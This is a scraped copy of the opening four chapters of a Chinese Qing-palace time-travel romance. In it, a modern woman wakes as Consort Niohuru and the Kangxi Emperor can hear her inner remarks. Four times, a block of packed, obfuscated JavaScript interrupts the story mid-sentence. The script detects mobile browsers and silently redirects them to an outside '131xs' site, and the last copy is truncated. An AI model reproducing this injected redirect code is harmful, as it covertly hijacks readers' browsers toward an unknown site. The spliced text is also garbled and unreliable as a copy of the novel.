《贵妃是个吐槽役(清穿)》
1. 第 1 章
“渴……”
喉咙里剧烈的灼烧感传来,像久居沙漠的旅人,始终寻不到片刻绿荫。
云欢艰难地睁开眼皮,出于求生的本能,嘴唇因干枯而沙沙作响,“水,给我水……”
“娘娘醒了!”
周遭一片兵荒马乱似的欢喜,震得地动山摇,连躺在榻上的云欢都为之虎躯一颤。
她来不及思考眼前异状,只迫切地将头伸向递来的茶盅,吸溜~鲸吞牛饮似的,整杯茶都进了她肚里。
犹嫌不足。
那人却不肯给她喝了,嘴里絮絮叨叨的,是充满关切的噜苏,“娘娘禀赋柔脆,这茶水太过寒凉,大夫叮嘱过,半盏尽够了。”
渴意稍解,云欢方才缓过来点精神,她困惑地打量周遭,古色古香的帐幔,雕梁画栋的门窗,无不尽显华美与富丽。
她这是……穿越了?
有点意外,又不是太意外,确切点说,眼前所有皆是她在梦里见过的,云欢沉默着,原以为她到了地府,现在才知,那是另一个人的一生。
从雪娟琐琐碎碎的言语中,她更细化了对这具身体的认知。
原身乃贵妃钮祜禄氏,出身名门,祖上煊赫无比,其姊更是大名鼎鼎的孝昭仁皇后,这么一个金尊玉贵的可人儿,可想而知该叫多少人欣羡不已。
孝昭仁皇后身故前特留下遗命让幼妹入宫,自是寄予厚望,愿她能秉承遗志,巩固家族地位。
原主也的确不负所托,甫一入宫便荣宠无极,虽无册封礼却享受妃级待遇,现又赶上大封六宫,万岁爷亲自下旨,金口玉言册为贵妃,真真一人之下万人之上。
奈何天下事总难圆满,原身腹有诗书气自华,本该超然物外,却偏偏入宫后瞧着万岁爷丰神俊朗,一点芳心便牵挂在夫君身上,从此为他而喜,为他而忧,再难矜持。
云欢:……这个钮祜禄氏大概没见过几个男子。
多思多虑,又不肯像宜妃等人那般倚姣作媚,动不动耍小性儿,钮祜禄氏许多事堆积在心,人也渐渐如黄花般消瘦。
这回大病,便是因皇帝说好了要来永寿宫,却被宜妃半路截胡了去,钮祜禄氏那口气堵着下不来,生生撅了过去。
云欢叹惋,慧极必伤,情深不寿,这话果然不错。论起来,其实她跟钮祜禄氏颇有共鸣,她也是因为一个男人横死——当然她绝非自尽,只是想故意吓一吓他,谁成想一阵歪风,生生将她吹下楼去。
这大概就叫孽缘。
失去了才知珍惜,重来一回,云欢再不肯开这种玩笑,生命诚可贵,爱情算个鸟,人的一生这样短,当活得有滋有味才是。
于是当雪娟问要不要传膳时,云欢清清喉咙,“传。”
药补不如食补,食补不如粥补,天天抑郁自伤,饥一顿饱一顿的,这病怎么好得起来?
一干宫人侍女齐齐望向她,眼中写满诧异,娘娘居然会主动传膳,好稀奇!
永寿宫当然不缺那点吃食,不过这会子早就过了叫膳的钟点,送来的也已经凉了,这等东西如何入得娘娘檀口?
本以为主子必定无心饮食,至多叫他们拿去分一分,他们倒是不介意,谁成想峰回路转,这下却犯了难。
仓促里加热也来不及,只得实话实说。
云欢并不见怪,“有温热的挑几盅来,事从权宜。”
太监们得了令,紧赶慢赶出去,虽贵妃娘娘语气宽和,他们可不敢怠慢,冷冷的吃下去岂不伤胃,还是得在风炉上烀一烀。
云欢又想起一事,让雪娟取来靶镜,她想看看原身长什么样。
书里不是常有这种事吗?穿越者跟被穿的长得一模一样,这才叫缘分。
但她有自知之明,后宫里头美女如云,钮祜禄氏若跟她一副德行,那也难怪不得宠了。
幸好,映入眼帘的是个标准美女,国色天香那种,不说比她漂亮十倍,五倍是有的。
雪娟提心吊胆,娘娘素来爱惜容貌,奈何病容憔悴,看了定要暗自神伤,愈发该消减了。
正惴惴时,只听上头叹道,“真美啊!”
雪娟以为她又想起宜妃,毕竟娘娘提起最多的除了万岁,当属宜妃了。一个是她最爱的,一个是她最恨的。
这四四方方的天,也只容得下闺阁女儿芝麻绿豆大的心事。
雪娟忍住心酸,强自安慰,“是,宜妃娘娘自是凤仪万千,可您也有您的长处,不必非同她比。”
怎料云欢却莞尔,“说什么呢?我在夸我自己。”
有这张脸还有什么不满足,比不过宜妃难道就不活了?天底下比马云穷的多了去了,个个都要去上吊吗?
她认真端详镜中面容,左捏捏右捏捏,无一处不欢喜。唯一的缺憾,大概便是眼皮略单了点,不够双,但正因如此,愈显出那遗世独立的冷艳气质,将之与一众庸脂俗粉区别开来。
云欢恨不得抱着镜子亲上两口。
雪娟:……娘娘大概是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446792|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
病糊涂了。
真糊涂也不算坏事。
等膳食奉上,雪娟本以为主子会如往日那般,意思意思,动个两筷子聊作点缀,怎料云欢却是快刀斩乱麻,风卷残云,那架势不像刚从鬼门关回来,倒像饿死鬼投胎。
雪娟看得心惊胆战,等两碗粳米粥下了肚,再搭上半笼水晶蒸饺,便再不许云欢吃了,“娘娘,您大病初愈,这样胡吃海塞怕伤胃呢。”
云欢甚是遗憾,她觉得自己才吃了五六分饱,这贵妃娘娘的饭量是有多小。
雪娟暗下决定,待会儿便请太医来瞧瞧,仔细积了食。
主仆俩还未来得及嘘寒问暖,外头便有不速之客上门,正是宜妃造访。
听她的意思,倒像是来谢罪的。
雪娟柳眉倒竖,听她胡吣!她才不信翊坤宫有那个心赔不是,多半是来看笑话,被她一通挤兑,娘娘才好起来又该病倒了!
便欲替主子回拒。
云欢却摆手,“见见也无妨。”
让侍女为自个儿整衣,她要在正殿面客。
雪娟劝道:“那位口蜜腹剑,笑里藏刀,您实在不必敷衍。”
物似主人型,雪娟跟在主子身边久了,也养成一身孤介性子。
云欢含笑,“她特来致礼,我若不见,倒成了我的不是。横竖兵来将挡水来土掩,妨碍不着我的。”
她真想瞧瞧,传闻里搅得满城风雨的宜妃究竟是何等绝色。
不过,宜妃未必敢见她吧。
恰如云欢所料,郭络罗氏虽是有备而来,可贵妃当真允了,她反倒有些措手不及。
侍女耳畔悄悄道:“怕是场鸿门宴,咱们须仔细呢。”
原以为永寿宫会借生病推拒,谁料如此心平气和,倒叫人觉着不怀好意。
官大一级压死人,贵妃若铁了心要治罪,旁人也没什么话好说。至于皇贵妃,更是乐得坐山观虎斗的。
宜妃咬着红唇,她不能落个临阵脱逃的骂名,且这会儿装病也迟了,少不得硬着头皮单刀赴会。
钮祜禄氏以往虽然嫉妒,到底也不曾对她怎样,宜妃方敢做出这般张致,可,兔子急了也咬人,万一钮祜禄氏发横要鱼死网破呢?
宜妃斟酌片刻,让侍女去乾清宫外守着,俟万岁爷午歇起来即刻通禀。
纵使虚惊一场,凭万岁爷对她宠爱,谅来也会轻轻放过。
做足这些准备,宜妃方才平静心神,搭着奴婢的手坦然拾阶而上。
2. 第 2 章
乾清宫。
康熙刚从睡梦里醒来,脸上犹带怔忪。
他不敢置信望着自己那双手,细腻、结实、皮色红润,而非记忆里那般苍白枯槁、憔悴难支。
这分明是一双年轻男子的手。
康熙有些糊涂,来不及消化这巨大的惊喜(或者说惊吓?),之前的一切历历在目,一时间他竟分不清,是自己梦到了未来,还是当真回到了过去?
直至梁九功的到来打断沉思。
他行色匆匆,眼角眉梢却藏不住喜意,故意添油加醋,将宜妃宫女所禀一一道来。
贵妃娘娘受了那么大的窝囊,不定会怎么动怒呢,宜妃娘娘这回必没好果子吃,她可是万岁爷心尖上的人,您不该好好护着她吗?
康熙皱眉,以前没发现梁九功这么沉不住气,像是巴不得六宫生乱,他好从中牟利。
虽说宫人与嫔妃结交乃寻常事,可身为御前太监,首要任务是服侍皇帝,心耳意神都系于一人之身,哪容得三心二意?
这点上,就比他师傅顾问行差远了。
但,梁九功到底陪伴了他数十载,风雨相随,纵使晚年有所不检,康熙也不愿为这点小事与之计较。
岂料他肯饶恕,人家却打蛇随棍上。
只听得一阵嘿嘿窃笑,
【贵妃那个人目无下尘,从不把咱这些当奴才的放眼里,这回惹怒了万岁爷,合该叫她吃些苦头。】
【宜妃娘娘找回场子,不知又会赏甚么好东西?】
混账,当着面就敢调三斡四,还公然私相授受?
康熙面若寒霜,可等他转去时,却见对面双唇紧闭,并未做声。
梁九功颇有些莫名其妙,陪笑道:“万岁爷,您盯着奴才作甚?”
难道是嘴角沾的糖霜被发现了?阿弥陀佛,一天十二个时辰在御前当差,还不选他偷吃点糕饼垫垫肚子?铁人也禁不起这么造啊。
康熙面容稍霁,也是,梁九功再鲁钝,也不敢当他面造次。
所以,他这是听到底下人的心声?
果然大千世界无奇不有。
梁九功小心翼翼为他将靴子套上,这回谨慎多了,“万岁爷可要过去?”
康熙微微阖目,“去。”
诚如梁九功所言,宜妃得他眷顾最深,纵使最后那几年,他对她不无失望,可到底,年少时的欢喜与悸动不是假的。
除元后赫舍里氏外,这也是他印象最深的女人。
倒是贵妃钮祜禄氏,康熙此刻的记忆却十分模糊,她并非艳冠群芳,亦非德行出众,论起经略之才更不如她姊姊孝昭仁皇后,康熙唯一能想起的,便是个多愁善感而又喜欢惹是生非的小女子,成日为些鸡毛蒜皮斤斤计较。
就连她的早逝,也没带给他半分波澜,反倒有种命里如此的感觉:这样顾影自怜、从不关心外物的人,注定是活不长的。
但,她毕竟是贵妃,哪怕为了正一正宫中风气规矩,康熙也必须走这一趟。
*
永寿宫。
云欢好整以暇,让人送来点心与茶细细品尝。
雪娟不许她贪多大嚼,那她就少量多次,一点一点地填进去,如此总没话说了吧?
经历这么多事,原身又是久饿惯了的,哪怕给她一头牛她也吃得下。
云欢轻巧地拈起块白糖糕,还不忘招待客人,“妹妹可要尝尝?”
宜妃拨浪鼓似摇头,她怎敢吃永寿宫里东西,谁知道下没下毒。
进来快半个时辰了,钮祜禄氏就没怎么理她,自顾自在那品茗,宜妃反倒如坐针毡,难道对方是想给她下马威?
山雨欲来风满楼。
她只能先采取主动,遂款然离座,盈盈下拜,“妾有罪,那日五阿哥偏生发烧,吃了许多药不见好,妾实在心急,只能请万岁爷来,兴许有龙气庇体,妖魔邪祟都能远离……”
一听就知道在鬼扯,还特意拿五阿哥说事,隐隐有些激怒意味——都知道贵妃没孩子,想试这招也没处使啊。
云欢并不生气,反倒亲自将她搀起,“我明白,妹妹为母之心实在难得,这都是应该的。”
还特意为她扶了扶鬓边那支宝光璀璨的朱钗。
奇珍配美人,这红宝石步摇插在宜妃头上真是相得益彰。
见到郭络罗氏,云欢方知雪娟等所言无虚,都说旗装毁人,可在宜妃身上你只会忘记衣裳的存在。
她整个人从头到脚精致无比,就像是最高明的工匠照着比例尺雕刻出来的,挑不出半点瑕疵,难怪若干年来盛宠不衰。
对着这样张脸,云欢怎还有所不满?你会嫉妒你身边的人,却没人去嫉妒聚光灯下的明星。
宜妃:……
对方愈是心平气和,她愈觉得笑里藏奸,可钮祜禄氏怎这般沉得住气,大病一场还真个变聪明了?
这样下去,理亏的反倒是她,钮祜禄氏宽和大度,只会衬得她猥琐难堪。
宜妃并非真心请罪,自然不肯落入下乘。
只听外头太监嘹亮吆喝,“皇上驾到!”
宜妃眼睛一亮,万岁爷来了!这正是她的机会。
遂匆匆扯下步摇,在衣角用力揉捏两下,抱着云欢的腿眼眶含泪,“贵妃娘娘,嫔妾再也不敢了!求您大人有大量,饶了嫔妾罢!”
云欢目瞪口呆看她这番张致,戏台还未搭好就已戏瘾大发?这演技都能赶上奥斯卡了。
连眼泪都是一颗一颗往下掉的,梨花带雨,真绝。
雪娟等人也不好将她拉开,宜妃敢这么干,她们若过去拉扯就成以下犯上,更会被抓住话柄。
康熙进门时,正看到自家爱妃跪在地上任人欺侮,脸上顿时笼罩上一层阴云。
梁九功察言观色,忙上前将宜妃搀起,宜妃趔趄着起身,委委屈屈蹲了个福,欲语泪先流,“皇上……”
千言万语尽在不言中,无须多费唇舌,万岁爷自会替她做主。
反正贵妃小心眼出了名,冤她一回不算冤,自己若非身在妃位,只是个常在贵人,早就被拉到慎刑司去了。
她算盘打得极好,殊不知心里话全被康熙听在耳里,再看宜妃那副泫然欲
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446793|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泣的脸,眼角眉梢颇有得意之色,可知是做成的局。
怒容顿时消散,康熙淡声道:“梁九功,你送宜妃回去。”
宜妃很不愿遵命,她想看看康熙是怎么治贵妃的,是禁足、抄经还是干脆罚俸?
真叫人心痒难耐。
可今日的万岁爷似乎不太一样,格外生人勿进,宜妃陪王伴驾已久,自然知道看人眼色,遂不再逗留,识趣告退。
她以为纷争才刚开始,殊不知在康熙看来已经结束了。
比起后来的九龙夺嫡之乱,这点小事实在不值当费精神。
目送宜妃远去,耳畔传来悠悠一声,【这就演完了?还没看到放大招呢!】
康熙皱眉,什么奇奇怪怪的名词,可想到贵妃博闻强识,许是哪本书上看来的也不稀奇。
此时方有空打量钮祜禄氏,实话实话,跟他想象中不太一样。
他以为贵妃是个美丽多病的可怜女子,一年倒有半年卧病在床,周身总氤氲着药气,因了这个,他才少去看她——谁愿意天天对着病人嘘寒问暖呢?
可如今瞧着,钮祜禄氏虽然身形稍显单薄,精神却很矍铄,她甚至敢坦然与他对视,仿佛他打量她的同时,她也在打量他。
这让康熙有些微不自在,故意吓吓她,“方才宜妃为何跪倒,当真怕你责难?”
云欢笑笑,“眼见为实,万岁爷非要如此想,臣妾也无话可说。”
【宜妃那个人的性子还不了解么?美丽骄纵,仗着宠爱肆无忌惮,惠宜德荣,明明位次在惠妃之后,却连惠妃都敢挑衅,从来只有她欺负人的,几曾见人欺负她?】
【不过,或许男人就是爱这种带刺玫瑰,又香又扎手,多能勾起征服欲。】
康熙哼声,成日大门不出二门不迈的,倒是很了解男人。
不过,钮祜禄氏心里对宜妃并无埋怨,反倒有种看小孩子玩闹的宽容理解,令他颇感诧异。
也许他误会了,钮祜禄氏并不像他所想那般嫉妒偏狭。
遂坦诚相告,“她年轻不知事,难免有糊涂之处,你身为贵妃,当尽劝诫之责,勿过分挑剔即可。”
这算是给了云欢一部分的权力,许她适度反击宜妃。
云欢莞尔,自然笑纳,“臣妾遵旨。”
【想不到,万岁爷还挺圣明,没被美色迷惑。】
康熙被吹捧得心中乍喜,但这话怎么怪怪的,有什么想不到?他看起来很像色令智昏的人吗?
进来许久,两人还只是干站着,这钮祜禄氏也不知道请他喝杯茶?
若现在就走,不但外人会以为贵妃失宠,从此看轻贵妃,连他也得落个冷血薄情的骂名。
康熙只能先打破尴尬,“朕听说你宫里香茗甚好。”
云欢后知后觉反应过来,赶紧请他就座,让雪娟新沏壶茶来,至于适才剩的半碟子糕当然不好再待客,只能先藏起来。
康熙甚觉无语,钮祜禄家虽然败落,也不至于穷得叮当响,连盘糕都得藏着掖着。
病中还有工夫贪嘴,这病看来也不重呵。
3. 第 3 章
茶沏好了,雪娟先不奉给皇帝,反而递到云欢跟前。
不错,是个忠心为主的好丫头,云欢并不懂什么僭越不僭越的,自顾自就要接过。
雪娟却轻巧地往旁挪了挪,又俏咪咪抛给她一个眼色。
云欢好半天才会过意来,雪娟是要她亲自奉给皇帝——万岁爷好容易来一遭,不得多联络联络感情吗?过了这村就没这店了。
面对这番拳拳盛意,云欢实在无法推拒,只得硬着头皮动手,将清亮的茶水注入瓷白的杯盏中,到底不惯这些营生,还是洒出来两滴。
幸好闪避及时,不曾烫到手。
再看康熙纹风不动坐着,云欢不着痕迹撇撇嘴,
【真会享福,合着把自个儿当老祖宗?】
康熙:……
两世为人,他这岁数加起来都能有个贵妃孙女了,可不正是老祖宗?
更想不到钮祜禄氏连沏个茶都不会,阖宫里头除了皇贵妃略微娇惯点儿,其余妃嫔哪个在他跟前不是毕恭毕敬的,这些伺候人的工夫更是信手拈来。
自己当初或许看走了眼,早知道不该听孝昭的。
正沉吟时,贵妃已至跟前。
云欢仗着抱病也不行大礼,只略微半蹲,低眉垂目,从那氤氲的白气下,一双水灵灵的眸子却悄悄忽闪着,似羞还羞。
康熙唇角微弯,嘴上如何矜持,还不是想抽空多看他两眼,阖宫里都知道贵妃思慕君上,康熙纵使对其无感,也不禁微微自得。
然而钮祜禄氏心里想的叫他自作多情了。
【听说万岁爷幼时发过天花,不知脸上落了几粒麻子?该不会比天上星星还多吧!】
康熙实在想不到贵妃会有心思管这种事,这样煞风景!难道以前没瞧过自己的脸?
虽说直视天颜乃大忌,可两人到底也是相处过的。
可想想自己也差不多忘了贵妃的脸,罢了,得饶人处且饶人。
想起前世,贵妃红颜薄命,顶多也就活到三十。
姑且忍忍,自己一个大男人何必跟病患过不去?
放以前,康熙定得暴怒,其实他脸上经太医疗治,早已淡去不少,只略略有几点痘印,但幼时着实受了些耻笑,连世祖皇帝喜爱八阿哥却不喜他,康熙也固执地认为是因为那张脸的缘故。
再不肯承认皇阿玛就是偏心。
如今往事重提,康熙几乎要拂袖而去,可贵妃下一句又将他留下,
【其实男人脸上有点小瑕疵无伤大雅,还更显英雄气概,跟小白脸似的皮光肉滑有什么趣儿。】
康熙才挪开的屁股又移了回去,这钮祜禄氏真是想一出是一出,好歹出身大家闺秀,怎么脑子里尽是些歪门邪道?
康熙仿佛打开了新天地,头一遭认识她似的。
到底不能不给她个教训,康熙遂板起脸,“贵妃,你可知嫉妒乃嫔妃大忌?”
云欢眨巴眨巴眼,“万岁爷所指,是臣妾前日卧病之事?”
都以为她是被宜妃截胡气病了,云欢当然不肯由着人泼脏水,
“您知道,臣妾一向体弱多病,十日里有九日下不来床,这跟嫉妒有何干系?她们未免太把自己当回事了。”
她们指的谁,自然不言而喻。
倒学会牙尖嘴利,康熙微哂,“那你垂泪又是何故?”
显然永寿宫口风并不闭塞,甚至可说透成了筛子,连她背地里淌眼抹泪都成了后宫众人津津乐道的话题。
好在云欢心理素质过硬,甚至可说厚颜无耻。
“臣妾为病殁的家姊伤心,难道也有所不能?”
人死为大,孝昭皇后贤良淑德,阖宫里头有口皆碑,她不信这样还能摘出毛病。
但康熙不为所动,“你姊姊忌辰还未至。”
孝昭皇后二月底崩逝,现下才十二月。
云欢一噎,怪道都说老奸巨猾,当着这等人的面丁点错都出不得。
“正因快到年关,臣妾想起幼时同姐姐制灯笼剪窗花的光景,言笑晏晏,何等融洽。”
这话倒不纯是编的,她的确有这么个玩得要好的姐姐,那姐姐也已经去了。
云欢赌咒发誓,自己并没嫉妒宜妃,更谈不上怨恨。
她很清楚,问题的根源不在宜妃,而在皇帝。
如果不是皇帝有意,宜妃哪怕出尽百宝也没用,顺治爷的后宫难道就没争风吃醋的了?也得抢得过人家董鄂妃呀!
康熙沉默下来,将杯中茶水一饮而尽,转身而去。
并没多余的安慰,可能走上一遭就觉得尽到责任了,又或者看见云欢精神大好,觉得不必多问。
云欢撇撇嘴,幸好她不是贵妃,对这等人掏心掏肺纯属浪费。
雪娟等人却是欢天喜地,要知道皇帝以前每每来永寿宫,不出一刻钟就得走人,话都说不上几句,如今这般已然很好了。
万岁爷还喝了贵妃亲自泡的茶,这不就说明情况在好转吗?假以时日,两口子定会恩爱无间。
云欢彻底服气了,唯有恋爱脑的主子才会培养出恋爱脑的奴才,这群人被荼毒得有多深?
她反正没把恩宠放心上,至少不会排在第一位。
除死无大事,长长寿寿活着才要紧。当务之急是找个好太医,慢慢调理好她的身子。
午后,乾清宫忽然来人,送了一大包的燕窝、人参、鹿角、黄芪,说是万岁爷亲自下令开库房拣选的。
雪娟美滋滋收下,“皇上与主子心有灵犀。”
才说要补身子,这不补品就到了?
云欢:……
她一个人哪吃得了许多?虚不受补,哪怕只取三分之一,也能叫她补出鼻血来!
多的只能挪去库房留着赏人用。
从雪娟等人的言谈中她才知道,敢情这位贵妃平时是没什么赏的,除了逢年过节按部就班的赏赐,其余约等于零。
何况还有吃药之类的花销,就更匀不出多的了,也难怪钮祜禄氏在宫人中的口碑并不好,根本没闲钱打点呀。
云欢扶额,她知道钮祜
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446794|185133||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
禄家的顶梁柱遏必隆已在八年前病殁,可大姐姐这些年也不曾攒下些家底吗?
据她知协理六宫可是个肥差。
雪娟道:“孝昭皇后清正廉洁,刚直不阿,怎可能中饱私囊?娘娘以后切莫再说这等话了,叫人听见没的辱没家声。”
云欢叹息,两姊妹各有各的苦衷,一个殚精竭虑,为名声断送自己,另一个又沉迷恨海情天,浑然不问世事。
虽说贵妃例一年六百两不算少了,可要支撑偌大门庭还是有点紧巴巴的,除非找家里补贴。
原身再糊涂,也知道报喜不报忧,从不肯让已经没落的娘家雪上加霜,云欢自然不会啃钮祜禄家的老,看来只能另外设法了。
减少交际也能减少不必要的花费,云欢让雪娟继续找内务府抱病,杜绝一切闲杂人等打扰,再则,虽然继承了原主的部分记忆,对宫里的人事关系仍有些云里雾里,她得让雪娟仔细说道说道,以免日后出错。
她想躺平,想过得舒服,就得避免四处树敌。
虽说现在已经有个不死不休的了。
又过了两日,听说敬事房把宜妃绿头牌撤下去了,道是沾了灰,得重做一块。
少说半个月不能再上桌。
雪娟拍手称快,“这就叫聪明反被聪明误,谁让她欺辱娘娘的?”
活该,踢到铁板了吧。
万岁爷如此严惩,可见心里是有主子的,假以时日,不定谁后来居上呢。
云欢笑笑,她真没觉得撤绿头牌是什么大惩罚,像电视剧里那样,裹成鸡肉卷似的抬进去,还得钻被窝,想想都累得慌。
罚俸才比较可怕,扣工资想想就瘆人。
显然这些家底丰厚的娘娘们都没把俸禄当回事,宜妃听闻就跟疯了一样,要去找敬事房问个仔细,很怀疑他们被贵妃收买,故意给自己使绊子——对此云欢表示也得收买得动啊,她才舍不得出血。
亏得她姐姐郭贵人好说歹说将宜妃劝住,若无万岁爷吩咐,敬事房定不敢擅作主张,这会子去闹没的碰一鼻子灰。
且归根究底是宜妃先坏了规矩,幸而她截的是贵妃的胡,换做皇贵妃,能这般轻轻放过?怕是早就从一宫主位上捋下去了。
宜妃也是肯听劝的,为表诚意,亦是向皇帝示好,特意备了份重礼送到永寿宫来,言下之意,她已知错了,贵妃就既往不咎罢。
云欢才没空敷衍,人不见,礼照收。
下旨的是皇帝,她没义务去劝康熙收回成命。
至于东西,这点子对一条人命算得什么?就算宜妃并非故意,可我不杀伯仁,伯仁却因我而死,终究脱不了干系。
宜妃吃了一鼻子灰,气得倒仰却也无可奈何,又因往日结仇过多,怕被惠妃等人耻笑,臊得好几日没敢出门。
贵妃借口养病也早就闭门谢客。
这个年于是过得分外安静,让想看热闹的人分外失望。
除夕夜,云欢喝着暖呼呼的姜汤,望着窗外茫茫大雪心想,她要过好从今以后的每一天。
4. 第 4 章
新年伊始,阖宫嫔妃循例须向皇后请安。
自孝昭皇后四年前病殁后,后位一直虚悬,如今由皇贵妃代领皇后之职。
云欢已从雪娟口中得知这位皇贵妃的事,徒有高位尊荣,实则却像个没长大的孩子,满心满眼都是她那青梅竹马的表哥,奈何落花有意流水无情,始终差那么一步,不能成为表哥名正言顺的妻子。
云欢觉着,康熙不肯立佟佳氏为后,大概不全因感情因素,实在这人不像能掌家的,否则何必巴巴的让四妃帮着协理六宫?
原身若非实在身子欠佳,也能分上一杯羹呢。
云欢略感遗憾,幸好她对看账本没什么兴趣,真要是让她掺上一脚,自己反该头疼了。
开春第一遭见人自是躲不过去,宫里闷太久了,云欢也觉拘得慌,不如出去看看外头世界。
问起贵妃平日喜好,原来钮祜禄氏也是个热衷妆饰的,犹爱鲜亮衣裳,愈是病容憔悴,愈要打扮得花枝招展,不肯叫人说她气色不好。
云欢沉吟,自己初来乍到,还是别标新立异,叫人看出端倪。
宫里头,皇贵妃、惠妃、宜妃这几个都讲究出挑,德妃、荣妃则行事低调,衣着多以素雅为宜,前面几个反正得罪狠了,再添点也无妨,若改走后者路线,不免又要另树新敌。
云欢遂挑了件枚红色的鲜艳旗装,康熙年前来那一遭还是有好处的,内务府看人下菜碟,送来的首饰衣衫都足金足两,不敢偷工减料。
雪娟望着镜中俏丽面容,由衷赞叹,“娘娘面颊丰润不少,当真艳光四射!”
虽然是变相说她胖,云欢并不气恼。
她也觉着胖点好,原身实在太苗条了,跟纸片人似的,摸摸都能硌着一把骨头,这样子怎可能长寿?没看到饥荒来临最先饿死的都是瘦子吗?
半个多月的调理虽不足恢复如初,看上去已然好多了,不用搭着雪娟的手也能走很稳——以往贵妃出行都得两个奴婢一左一右搀着,就这样还如临大敌呢。
衣裳偏艳俗,妆容就不用太浓艳了。云欢对古代的化妆品没信心,虽然都是纯天然,但据她所知,想货真价实达到美白效果,铅粉是必不可少的。
铅粉用多了可是有毒的。
胭脂用胭脂虫做的倒无妨。
于是薄涂了点唇脂面脂,又浅浅描了个眉,水到渠成。
出行当然是坐肩舆,春寒料峭,谁甘愿走路?何况本就是她份例应得的。
雪娟的话纠正了她长久以来的一个误区,原来宫里不是有封号的比没封号的尊贵,恰恰相反,正因为她这贵妃独一无二,才不需要额外的封号加以点缀——反正也不可能叫错。
不管康熙是出于什么想法予她尊位的,总之云欢有了足够的底气资本,除非犯大错,她可以在这个位置上长长久久地待下去,不必看人脸色——这又不是道光朝,嫔妃们升升降降就跟吃饭喝水一样简单。
进了景仁宫,云欢款款屈身,“臣妾参见皇贵妃娘娘。”
其余坐着的嫔妃也都起身向她致礼,独宜妃不阴不阳地刺上句,“今日太阳打西边出了,贵妃姐姐竟纡尊驾临。”
云欢莞尔,“妹妹这话折煞我了,景仁宫比永寿宫富丽十倍不止,怎称得上贵步临贱地?”
宜妃本意是讥讽她大摆架子,岂料云欢话头一转,生生成了讥讽皇贵妃——皇贵妃可没什么文化,哪知道贵妃故意曲解,只会傻乎乎地上套。
赶紧打住,向佟佳氏俯首,“嫔妾绝无此意。”
佟佳氏的眼睛要翻到天上去了,可见宜妃不但没讨着好,反而惹一身骚。
宜妃又羞又气,看云欢怡然自得坐下,不敢再任性挑衅,只好打落牙齿往肚里吞。
云欢环顾周遭,几个人的相貌与雪娟所述相差无几,惠妃目无下尘,荣妃冷冷淡淡,独德妃容貌虽非绝色,却自有种温润如水的气质,难怪能以宫人之身迅速坐到妃位,且与宜妃分庭抗礼。
至于佟佳氏实在是个很简单的人,喜怒哀乐皆写在脸上。
她望着底下这些女人,无不咬牙切齿,当初本以为表哥会只有她一个,至少也能跟董鄂妃那般独得圣宠。
她并不觉得时移世易,表哥对她的情意淡去,只觉得这群庸脂俗粉狐媚妖冶,偏生迷惑了她的表哥。
倘说宜妃是夺宠,那对云欢纯粹是迁怒。当初她与孝昭一同进宫,孝昭容色平常,钮祜禄府也徒有个空架子,满以为两人最少也能平分秋色,岂料圣旨下来,皇帝竟立孝昭为后,而她只被封为贵妃,从此矮了一大截!
幸好孝昭是个没福的,立后半年就走了,这让佟佳氏暗暗称快,谁知又来了个亲妹妹,甫一入宫便得高位,佟佳氏实在无法不警觉,生怕旧事重演。
她先申斥了宜妃一顿,告诫其不可妄经通报便擅闯御前,之后便转向云欢,
“贵妃也须自省,你身为嫔妃之首,当和睦六宫,成日争风吃醋岂不叫人笑话?”
云欢很知道什么时候该低头,跟康熙还能讲讲道理,对着佟佳氏还是服软为上。
遂老实认错。
佟佳氏气也平了,说起来贵妃恩宠不及宜妃德妃,自己犯不上跟她较劲。
架不住宜妃偏要拱火,“说起来也难怪,贵妃娘娘不曾生养过,自然不知道膝下有个小阿哥多费力气。”
以前这招百试百灵,总能激得贵妃失态,宜妃就乐意看她破防。
然而云欢已今非昔比,她恰到好处露出哀伤模样,“是,这点上本宫与皇贵妃姐姐感同身受。”
宜妃的笑僵在脸上,她怎么忘了,佟佳氏也没孩子,这下将人得罪狠了!
佟佳氏狠狠剜了宜妃一眼,冷声道:“本宫既然抚养四阿哥,便会对其视若己出,用不着旁人操心。”
这话也是间接说给德妃听的。
德妃神色略微黯淡,转瞬又恢复如常。她不敢在佟佳氏面前展露对胤禛的关切,那反而是害了他。
请安结束
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 